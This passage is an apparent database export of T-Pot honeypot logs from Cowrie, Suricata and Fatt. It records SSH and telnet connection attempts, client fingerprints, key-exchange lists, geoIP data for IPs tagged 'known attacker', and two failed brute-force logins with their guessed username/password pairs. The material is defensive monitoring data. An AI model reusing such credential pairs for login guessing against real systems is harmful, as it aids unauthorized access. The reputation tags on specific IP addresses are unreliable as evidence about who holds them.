"..........,f.4\\\\..0I.1....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31054	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:41:15.599121+03	2021-09-20 14:45:03.982144+03	{"_id": "IgYCA3wBvYTbRNuEnkE9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh2_1.9.0'", "session": "b1a2b010fc7d", "version": "b'SSH-2.0-libssh2_1.9.0'", "@version": "1", "timestamp": "2021-09-20T11:41:15.599121Z", "@timestamp": "2021-09-20T11:41:15.599Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
31047	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:41:12.200556+03	2021-09-20 14:45:03.974173+03	{"_id": "FgYCA3wBvYTbRNuElUEw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.70.175.230", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51132, "timestamp": "2021-09-20T11:41:12.200556", "@timestamp": "2021-09-20T11:41:12.200Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31048	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:41:16.81726+03	2021-09-20 14:45:03.975173+03	{"_id": "MAYCA3wBvYTbRNuEpkEN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 109.104.151.106:53398 (192.168.176.2:23) [session: 7a8965eca41f]", "session": "7a8965eca41f", "@version": "1", "protocol": "telnet", "src_port": 53398, "dest_port": 23, "timestamp": "2021-09-20T11:41:16.817260Z", "@timestamp": "2021-09-20T11:41:16.817Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	telnet	cowrie.session.connect	\N	known attacker	\N
31049	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:41:17.732708+03	2021-09-20 14:45:03.976173+03	{"_id": "MgYCA3wBvYTbRNuEqUH2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b1a2b010fc7d", "@version": "1", "duration": 2.140578508377075, "timestamp": "2021-09-20T11:41:17.732708Z", "@timestamp": "2021-09-20T11:41:17.732Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
31050	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:41:16.000822+03	2021-09-20 14:45:03.977172+03	{"_id": "MwYCA3wBvYTbRNuEq0G0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:40:14.559362+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 396416675383554, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 60401, "timestamp": "2021-09-20T11:41:16.000822Z", "@timestamp": "2021-09-20T11:41:16.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
31051	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:41:15.589525+03	2021-09-20 14:45:03.979173+03	{"_id": "HwYCA3wBvYTbRNuEnkE9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 157.245.53.4:38752 (192.168.176.2:22) [session: b1a2b010fc7d]", "session": "b1a2b010fc7d", "@version": "1", "protocol": "ssh", "src_port": 38752, "dest_port": 22, "timestamp": "2021-09-20T11:41:15.589525Z", "@timestamp": "2021-09-20T11:41:15.589Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
31052	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:41:14.810671+03	2021-09-20 14:45:03.980142+03	{"_id": "IAYCA3wBvYTbRNuEnkE9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "54a77dfe9b2e", "@version": "1", "duration": 2.6115009784698486, "timestamp": "2021-09-20T11:41:14.810671Z", "@timestamp": "2021-09-20T11:41:14.810Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31055	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:41:21.063158+03	2021-09-20 14:45:03.984143+03	{"_id": "QgYCA3wBvYTbRNuEtUGv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.login.failed", "message": "login attempt [test/P@ssw0rd1] failed", "session": "3eb152eaa0c5", "@version": "1", "password": "P@ssw0rd1", "username": "test", "timestamp": "2021-09-20T11:41:21.063158Z", "@timestamp": "2021-09-20T11:41:21.063Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31056	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:41:22.414207+03	2021-09-20 14:45:03.985143+03	{"_id": "QwYCA3wBvYTbRNuEuUGY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "3eb152eaa0c5", "@version": "1", "duration": 3.179784059524536, "timestamp": "2021-09-20T11:41:22.414207Z", "@timestamp": "2021-09-20T11:41:22.414Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31057	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:41:42.852143+03	2021-09-20 14:45:03.987144+03	{"_id": "fwYDA3wBvYTbRNuEC0Gp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.105.80.34:60606 (192.168.176.2:22) [session: c5203997e3be]", "session": "c5203997e3be", "@version": "1", "protocol": "ssh", "src_port": 60606, "dest_port": 22, "timestamp": "2021-09-20T11:41:42.852143Z", "@timestamp": "2021-09-20T11:41:42.852Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31058	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:41:42.855182+03	2021-09-20 14:45:03.988143+03	{"_id": "gAYDA3wBvYTbRNuEC0Gp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "c5203997e3be", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:41:42.855182Z", "@timestamp": "2021-09-20T11:41:42.855Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31059	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:41:43.130842+03	2021-09-20 14:45:03.989144+03	{"_id": "gQYDA3wBvYTbRNuEC0Gp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "c5203997e3be", "@version": "1", "timestamp": "2021-09-20T11:41:43.130842Z", "@timestamp": "2021-09-20T11:41:43.130Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31060	113.105.80.34	109.199.241.180	Suricata	2021-09-20 14:41:43.130109+03	2021-09-20 14:45:03.991144+03	{"_id": "ggYDA3wBvYTbRNuEDUFo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "flow_id": 2240783012249980, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60606, "dest_port": 22, "timestamp": "2021-09-20T11:41:43.130109Z", "@timestamp": "2021-09-20T11:41:43.130Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31061	113.105.80.34	109.199.241.180	Fatt	2021-09-20 14:41:43.130209+03	2021-09-20 14:45:03.992172+03	{"_id": "gwYDA3wBvYTbRNuEDkFY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 60606, "dest_port": 22, "timestamp": "2021-09-20T11:41:43.130209", "@timestamp": "2021-09-20T11:41:43.130Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31062	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:41:44.331572+03	2021-09-20 14:45:03.993172+03	{"_id": "hQYDA3wBvYTbRNuED0GS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.login.failed", "message": "login attempt [jira/pass1234] failed", "session": "c5203997e3be", "@version": "1", "password": "pass1234", "username": "jira", "timestamp": "2021-09-20T11:41:44.331572Z", "@timestamp": "2021-09-20T11:41:44.331Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31063	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:41:45.611259+03	2021-09-20 14:45:03.994172+03	{"_id": "hgYDA3wBvYTbRNuEE0F7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c5203997e3be", "@version": "1", "duration": 2.7564194202423096, "timestamp": "2021-09-20T11:41:45.611259Z", "@timestamp": "2021-09-20T11:41:45.611Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31064	189.50.42.214	109.199.241.180	Suricata	2021-09-20 14:41:34.474564+03	2021-09-20 14:45:03.996174+03	{"_id": "XwYCA3wBvYTbRNuE6kE7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:41:34.003572+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "189.50.42.214", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 380860309048820, "payload": "AAADzAYUGH2nDj1iXum9PZsBkhS2bgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57546, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:41:34.474564Z", "@timestamp": "2021-09-20T11:41:34.474Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", 